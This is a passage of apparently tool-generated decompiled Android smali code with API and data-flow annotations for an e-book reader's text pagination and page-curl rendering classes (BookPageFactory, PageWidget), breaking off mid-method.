  • java.lang.String.length
  • java.util.Vector.add
  • java.lang.String.length
  • android.graphics.Paint.breakText
  • java.lang.String.substring
  • java.util.Vector.add
  • java.lang.String.substring
  • java.io.UnsupportedEncodingException.printStackTrace
  • java.util.Vector.addAll
  • java.util.Vector.size
  • java.util.Vector.get
  • java.lang.String.getBytes
  • java.util.Vector.remove
  • java.io.UnsupportedEncodingException.printStackTrace
Strings
  • \r\n
  • \n
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x0
2iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
3if-gez v0, :cond_7
4iput v7, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
5cond_7: new-instance v2, Ljava/util/Vector;
7invoke-direct {v2}, Ljava/util/Vector;-><init>()V
9const-string v1, ""
10goto_e:
11invoke-virtual {v2}, Ljava/util/Vector;->size()I
12move-result v0
13iget v3, p0, Lcom/google/services/BookPageFactory;->mLineCount:I
14if-ge v0, v3, :cond_72
15iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
16if-lez v0, :cond_72
17new-instance v3, Ljava/util/Vector;
19invoke-direct {v3}, Ljava/util/Vector;-><init>()V
20iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
22invoke-virtual {p0, v0}, Lcom/google/services/BookPageFactory;->readParagraphBack(I)[B
23move-result-object v4
24iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
25array-length v5, v4
26sub-int/2addr v0, v5
27iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
28try_start_2b: new-instance v0, Ljava/lang/String;
30iget-object v5, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
32invoke-direct {v0, v4, v5}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
33try_end_32:
34const-string v1, "\r\n"
36const-string v4, ""
38invoke-virtual {v0, v1, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \r\n
39move-result-object v0
41const-string v1, "\n"
43const-string v4, ""
45invoke-virtual {v0, v1, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
46move-result-object v0
48invoke-virtual {v0}, Ljava/lang/String;->length()I
49move-result v1
50if-nez v1, :cond_4b
52invoke-virtual {v3, v0}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
53goto_4b:
54invoke-virtual {v0}, Ljava/lang/String;->length()I
55move-result v1
56if-lez v1, :cond_6d
58iget-object v1, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
59const/4 v4, 0x1
60iget v5, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F
61const/4 v6, 0x0
63invoke-virtual {v1, v0, v4, v5, v6}, Landroid/graphics/Paint;->breakText(Ljava/lang/String;ZF[F)I
  • Data flow analysis:
    • p1: 1
    • p3: 0
64move-result v1
66invoke-virtual {v0, v7, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
67move-result-object v4
69invoke-virtual {v3, v4}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
71invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
72move-result-object v0
73goto/16 :goto_4b
74catch_67: move-exception v0
76invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
77move-object v0, v1
78goto/16 :goto_32
79cond_6d:
80invoke-virtual {v2, v7, v3}, Ljava/util/Vector;->addAll(ILjava/util/Collection;)Z
  • Data flow analysis:
    • p0: 0
81move-object v1, v0
82goto/16 :goto_e
83goto_72:
84invoke-virtual {v2}, Ljava/util/Vector;->size()I
85move-result v0
86iget v1, p0, Lcom/google/services/BookPageFactory;->mLineCount:I
87if-le v0, v1, :cond_97
88try_start_7a: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
89const/4 v0, 0x0
91invoke-virtual {v2, v0}, Ljava/util/Vector;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
92move-result-object v0
93check-cast v0, Ljava/lang/String;
95iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
97invoke-virtual {v0, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
98move-result-object v0
99array-length v0, v0
100add-int/2addr v0, v1
101iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
102const/4 v0, 0x0
104invoke-virtual {v2, v0}, Ljava/util/Vector;->remove(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
105try_end_91: goto/16 :goto_72
106catch_92: move-exception v0
108invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
109goto/16 :goto_72
110cond_97: iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
111iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
112return-void
APIs
  • java.lang.Math.abs
  • java.lang.Math.min
  • android.graphics.Path.reset
  • android.graphics.Path.moveTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.close
  • android.graphics.Canvas.save
  • android.graphics.Canvas.clipPath
  • android.graphics.Paint.setColorFilter
  • java.lang.Math.hypot
  • android.graphics.Matrix.reset
  • android.graphics.Matrix.setValues
  • android.graphics.Matrix.preTranslate
  • android.graphics.Matrix.postTranslate
  • android.graphics.Canvas.drawBitmap
  • android.graphics.Paint.setColorFilter
  • android.graphics.Canvas.rotate
  • android.graphics.drawable.GradientDrawable.setBounds
  • android.graphics.drawable.GradientDrawable.draw
  • android.graphics.Canvas.restore
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v10, 0x1
4const/high16 v9, 0x4000
5const/high16 v8, 0x3f80
7iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
8iget v0, v0, Landroid/graphics/PointF;->x:F
10iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
11iget v1, v1, Landroid/graphics/PointF;->x:F
12add-float/2addr v0, v1
13float-to-int v0, v0
14div-int/lit8 v0, v0, 0x2
15int-to-float v0, v0
17iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
18iget v1, v1, Landroid/graphics/PointF;->x:F
19sub-float/2addr v0, v1
21invoke-static {v0}, Ljava/lang/Math;->abs(F)F
22move-result v0
24iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
25iget v1, v1, Landroid/graphics/PointF;->y:F
27iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
28iget v2, v2, Landroid/graphics/PointF;->y:F
29add-float/2addr v1, v2
30float-to-int v1, v1
31div-int/lit8 v1, v1, 0x2
32int-to-float v1, v1
34iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
35iget v2, v2, Landroid/graphics/PointF;->y:F
36sub-float/2addr v1, v2
38invoke-static {v1}, Ljava/lang/Math;->abs(F)F
39move-result v1
41invoke-static {v0, v1}, Ljava/lang/Math;->min(FF)F
42move-result v0
44iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
46invoke-virtual {v1}, Landroid/graphics/Path;->reset()V
48iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
50iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
51iget v2, v2, Landroid/graphics/PointF;->x:F
53iget-object v3, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
54iget v3, v3, Landroid/graphics/PointF;->y:F
56invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->moveTo(FF)V
58iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
60iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
61iget v2, v2, Landroid/graphics/PointF;->x:F
63iget-object v3, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
64iget v3, v3, Landroid/graphics/PointF;->y:F
66invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
68iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
70iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
71iget v2, v2, Landroid/graphics/PointF;->x:F
73iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
74iget v3, v3, Landroid/graphics/PointF;->y:F
76invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
78iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
80iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
81iget v2, v2, Landroid/graphics/PointF;->x:F
83iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
84iget v3, v3, Landroid/graphics/PointF;->y:F
86invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
88iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
90iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
91iget v2, v2, Landroid/graphics/PointF;->x:F
93iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
94iget v3, v3, Landroid/graphics/PointF;->y:F
96invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V
98iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
100invoke-virtual {v1}, Landroid/graphics/Path;->close()V
101iget-boolean v1, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
102if-eqz v1, :cond_150
104iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
105iget v1, v1, Landroid/graphics/PointF;->x:F
106sub-float/2addr v1, v8
107float-to-int v1, v1
109iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
110iget v2, v2, Landroid/graphics/PointF;->x:F
111add-float/2addr v0, v2
112add-float/2addr v0, v8
113float-to-int v0, v0
115iget-object v2, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
116goto_93:
117invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I
119iget-object v3, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
121invoke-virtual {p1, v3}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;)Z
123iget-object v3, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
125sget-object v4, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op;
127invoke-virtual {p1, v3, v4}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
129iget-object v3, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint;
131iget-object v4, p0, Lcom/google/services/PageWidget;->mColorMatrixFilter:Landroid/graphics/ColorMatrixColorFilter;
133invoke-virtual {v3, v4}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter;
134iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
135int-to-float v3, v3
137iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
138iget v4, v4, Landroid/graphics/PointF;->x:F
139sub-float/2addr v3, v4
140float-to-double v3, v3
142iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
143iget v5, v5, Landroid/graphics/PointF;->y:F
144iget v6, p0, Lcom/google/services/PageWidget;->mCornerY:I
145int-to-float v6, v6
146sub-float/2addr v5, v6
147float-to-double v5, v5
149invoke-static {v3, v4, v5, v6}, Ljava/lang/Math;->hypot(DD)D
150move-result-wide v3
151double-to-float v3, v3
152iget v4, p0, Lcom/google/services/PageWidget;->mCornerX:I
153int-to-float v4, v4
155iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
156iget v5, v5, Landroid/graphics/PointF;->x:F
157sub-float/2addr v4, v5
158div-float/2addr v4, v3
160iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
161iget v5, v5, Landroid/graphics/PointF;->y:F
162iget v6, p0, Lcom/google/services/PageWidget;->mCornerY:I
163int-to-float v6, v6
164sub-float/2addr v5, v6
165div-float v3, v5, v3
167iget-object v5, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
168const/4 v6, 0x0
169mul-float v7, v9, v3
170mul-float/2addr v7, v3
171sub-float v7, v8, v7
172aput v7, v5, v6
174iget-object v5, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
175mul-float v6, v9, v4
176mul-float/2addr v3, v6
177aput v3, v5, v10
179iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
180const/4 v5, 0x3
182iget-object v6, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
183aget v6, v6, v10
184aput v6, v3, v5
186iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
187const/4 v5, 0x4
188mul-float v6, v9, v4
189mul-float/2addr v4, v6
190sub-float v4, v8, v4
191aput v4, v3, v5
193iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
195invoke-virtual {v3}, Landroid/graphics/Matrix;->reset()V
197iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
199iget-object v4, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
201invoke-virtual {v3, v4}, Landroid/graphics/Matrix;->setValues([F)V
203iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
205iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
206iget v4, v4, Landroid/graphics/PointF;->x:F
207neg-float v4, v4
209iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
210iget v5, v5, Landroid/graphics/PointF;->y:F
211neg-float v5, v5
213invoke-virtual {v3, v4, v5}, Landroid/graphics/Matrix;->preTranslate(FF)Z
215iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
217iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
218iget v4, v4, Landroid/graphics/PointF;->x:F
220iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
221iget v5, v5, Landroid/graphics/PointF;->y:F
223invoke-virtual {v3, v4, v5}, Landroid/graphics/Matrix;->postTranslate(FF)Z
225iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
227iget-object v4, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint;
229invoke-virtual {p1, p2, v3, v4}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Matrix;Landroid/graphics/Paint;)V
231iget-object v3, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint;
232const/4 v4, 0x0
234invoke-virtual {v3, v4}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter;
  • Data flow analysis:
    • p0: 0
235iget v3, p0, Lcom/google/services/PageWidget;->mDegrees:F
237iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
238iget v4, v4, Landroid/graphics/PointF;->x:F
240iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
241iget v5, v5, Landroid/graphics/PointF;->y:F
243invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V
245iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
246iget v3, v3, Landroid/graphics/PointF;->y:F
247float-to-int v3, v3
249iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
250iget v4, v4, Landroid/graphics/PointF;->y:F
251iget v5, p0, Lcom/google/services/PageWidget;->mMaxLength:F
252add-float/2addr v4, v5
253float-to-int v4, v4
255invoke-virtual {v2, v1, v3, v0, v4}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V
257invoke-virtual {v2, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V
259invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
260return-void
261cond_150:
262iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
263iget v1, v1, Landroid/graphics/PointF;->x:F
264sub-float v0, v1, v0
265sub-float/2addr v0, v8
266float-to-int v1, v0
268iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
269iget v0, v0, Landroid/graphics/PointF;->x:F
270add-float/2addr v0, v8
271float-to-int v0, v0
273iget-object v2, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
274goto/16 :goto_93
APIs
  • android.view.View.<init>
  • android.graphics.PointF.<init>
  • java.lang.Math.hypot
  • android.graphics.Path.<init>
  • com.google.services.PageWidget.createDrawable
  • android.graphics.Paint.<init>
  • android.graphics.Paint.setStyle
  • android.graphics.ColorMatrix.<init>
  • android.graphics.ColorMatrix.set
  • android.graphics.ColorMatrixColorFilter.<init>
  • android.graphics.Matrix.<init>
  • com.google.services.PageWidget.getContext
  • android.widget.Scroller.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v2, 0x0
3const/4 v1, 0x0
4const v4, 0x3c23d70a
6invoke-direct {p0, p1}, Landroid/view/View;-><init>(Landroid/content/Context;)V
7const/16 v0, 0x1e0
8iput v0, p0, Lcom/google/services/PageWidget;->mWidth:I
9const/16 v0, 0x320
10iput v0, p0, Lcom/google/services/PageWidget;->mHeight:I
11iput v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
12iput v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
13iput-object v2, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap;
14iput-object v2, p0, Lcom/google/services/PageWidget;->mNextPageBitmap:Landroid/graphics/Bitmap;
15new-instance v0, Landroid/graphics/PointF;
17invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
18iput-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
19new-instance v0, Landroid/graphics/PointF;
21invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
22iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
23new-instance v0, Landroid/graphics/PointF;
25invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
26iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
27new-instance v0, Landroid/graphics/PointF;
29invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
30iput-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
31new-instance v0, Landroid/graphics/PointF;
33invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
34iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
35new-instance v0, Landroid/graphics/PointF;
37invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
38iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
39new-instance v0, Landroid/graphics/PointF;
41invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
42iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
43new-instance v0, Landroid/graphics/PointF;
45invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
46iput-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
47new-instance v0, Landroid/graphics/PointF;
49invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
50iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
51const/16 v0, 0x9
52new-array v0, v0, [F
53fill-array-data v0, :array_be
54iput-object v0, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F
55iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I
56int-to-double v0, v0
57iget v2, p0, Lcom/google/services/PageWidget;->mHeight:I
58int-to-double v2, v2
60invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->hypot(DD)D
  • Data flow analysis:
    • p1: 0
61move-result-wide v0
62double-to-float v0, v0
63iput v0, p0, Lcom/google/services/PageWidget;->mMaxLength:F
64new-instance v0, Landroid/graphics/Path;
66invoke-direct {v0}, Landroid/graphics/Path;-><init>()V
67iput-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
68new-instance v0, Landroid/graphics/Path;
70invoke-direct {v0}, Landroid/graphics/Path;-><init>()V
71iput-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
73invoke-direct {p0}, Lcom/google/services/PageWidget;->createDrawable()V
74new-instance v0, Landroid/graphics/Paint;
76invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
77iput-object v0, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint;
79iget-object v0, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint;
81sget-object v1, Landroid/graphics/Paint$Style;->FILL:Landroid/graphics/Paint$Style;
83invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStyle(Landroid/graphics/Paint$Style;)V
84new-instance v0, Landroid/graphics/ColorMatrix;
86invoke-direct {v0}, Landroid/graphics/ColorMatrix;-><init>()V
87const/16 v1, 0x14
88new-array v1, v1, [F
89fill-array-data v1, :array_d4
91invoke-virtual {v0, v1}, Landroid/graphics/ColorMatrix;->set([F)V
92new-instance v1, Landroid/graphics/ColorMatrixColorFilter;
94invoke-direct {v1, v0}, Landroid/graphics/ColorMatrixColorFilter;-><init>(Landroid/graphics/ColorMatrix;)V
95iput-object v1, p0, Lcom/google/services/PageWidget;->mColorMatrixFilter:Landroid/graphics/ColorMatrixColorFilter;
96new-instance v0, Landroid/graphics/Matrix;
98invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V
99iput-object v0, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix;
100new-instance v0, Landroid/widget/Scroller;
102invoke-virtual {p0}, Lcom/google/services/PageWidget;->getContext()Landroid/content/Context;
103move-result-object v1
105invoke-direct {v0, v1}, Landroid/widget/Scroller;-><init>(Landroid/content/Context;)V
106iput-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
108iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
109iput v4, v0, Landroid/graphics/PointF;->x:F
111iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
112iput v4, v0, Landroid/graphics/PointF;->y:F
113return-void
114nop
APIs
  • java.util.Vector.size
  • android.graphics.Canvas.drawColor
  • java.util.Vector.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.graphics.Canvas.drawText
  • android.graphics.Canvas.drawBitmap
  • java.lang.StringBuilder.<init>
  • java.text.DecimalFormat.format
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.graphics.Paint.measureText
  • android.graphics.Canvas.drawText
Strings
  • %
  • 999.9%
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v2, 0x0
4iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
6invoke-virtual {v0}, Ljava/util/Vector;->size()I
7move-result v0
8if-nez v0, :cond_f
10invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector;
11move-result-object v0
12iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
13cond_f:
14iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
16invoke-virtual {v0}, Ljava/util/Vector;->size()I
17move-result v0
18if-lez v0, :cond_49
20iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap;
21if-nez v0, :cond_42
22iget v0, p0, Lcom/google/services/BookPageFactory;->m_backColor:I
24invoke-virtual {p1, v0}, Landroid/graphics/Canvas;->drawColor(I)V
25goto_20: iget v0, p0, Lcom/google/services/BookPageFactory;->marginHeight:I
27iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
29invoke-virtual {v1}, Ljava/util/Vector;->iterator()Ljava/util/Iterator;
30move-result-object v2
31move v1, v0
32goto_29:
33invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
34move-result v0
35if-eqz v0, :cond_49
37invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
38move-result-object v0
39check-cast v0, Ljava/lang/String;
40iget v3, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I
41add-int/2addr v1, v3
42iget v3, p0, Lcom/google/services/BookPageFactory;->marginWidth:I
43int-to-float v3, v3
44int-to-float v4, v1
46iget-object v5, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
48invoke-virtual {p1, v0, v3, v4, v5}, Landroid/graphics/Canvas;->drawText(Ljava/lang/String;FFLandroid/graphics/Paint;)V
49goto/16 :goto_29
50cond_42:
51iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap;
52const/4 v1, 0x0
54invoke-virtual {p1, v0, v2, v2, v1}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V
  • Data flow analysis:
    • p3: 0
55goto/16 :goto_20
56cond_49: iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
57int-to-double v0, v0
58const-wide/high16 v2, 0x3ff0
59mul-double/2addr v0, v2
60iget v2, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
61int-to-double v2, v2
62div-double/2addr v0, v2
63double-to-float v0, v0
64new-instance v1, Ljava/lang/StringBuilder;
66invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
68iget-object v2, p0, Lcom/google/services/BookPageFactory;->df:Ljava/text/DecimalFormat;
69const/high16 v3, 0x42c8
70mul-float/2addr v0, v3
71float-to-double v3, v0
73invoke-virtual {v2, v3, v4}, Ljava/text/DecimalFormat;->format(D)Ljava/lang/String;
  • Data flow analysis:
    • p0: 17096
74move-result-object v0
76invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
77move-result-object v0
79const-string v1, "%"
81invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
82move-result-object v0
84invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
85move-result-object v0
87iget-object v1, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
89const-string v2, "999.9%"
91invoke-virtual {v1, v2}, Landroid/graphics/Paint;->measureText(Ljava/lang/String;)F
  • Data flow analysis:
    • text: 999.9%
92move-result v1
93float-to-int v1, v1
94add-int/lit8 v1, v1, 0x1
95iget v2, p0, Lcom/google/services/BookPageFactory;->mWidth:I
96sub-int v1, v2, v1
97int-to-float v1, v1
98iget v2, p0, Lcom/google/services/BookPageFactory;->mHeight:I
99add-int/lit8 v2, v2, -0x5
100int-to-float v2, v2
102iget-object v3, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
104invoke-virtual {p1, v0, v1, v2, v3}, Landroid/graphics/Canvas;->drawText(Ljava/lang/String;FFLandroid/graphics/Paint;)V
105return-void
APIs
  • android.graphics.Path.reset
  • android.graphics.Path.moveTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.close
  • java.lang.Math.atan2
  • java.lang.Math.toDegrees
  • android.graphics.Canvas.save
  • android.graphics.Canvas.clipPath
  • android.graphics.Canvas.drawBitmap
  • android.graphics.Canvas.rotate
  • android.graphics.drawable.GradientDrawable.setBounds
  • android.graphics.drawable.GradientDrawable.draw
  • android.graphics.Canvas.restore
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/high16 v4, 0x4080
4const/4 v5, 0x0
6iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
8invoke-virtual {v0}, Landroid/graphics/Path;->reset()V
10iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
12iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
13iget v1, v1, Landroid/graphics/PointF;->x:F
15iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
16iget v2, v2, Landroid/graphics/PointF;->y:F
18invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->moveTo(FF)V
20iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
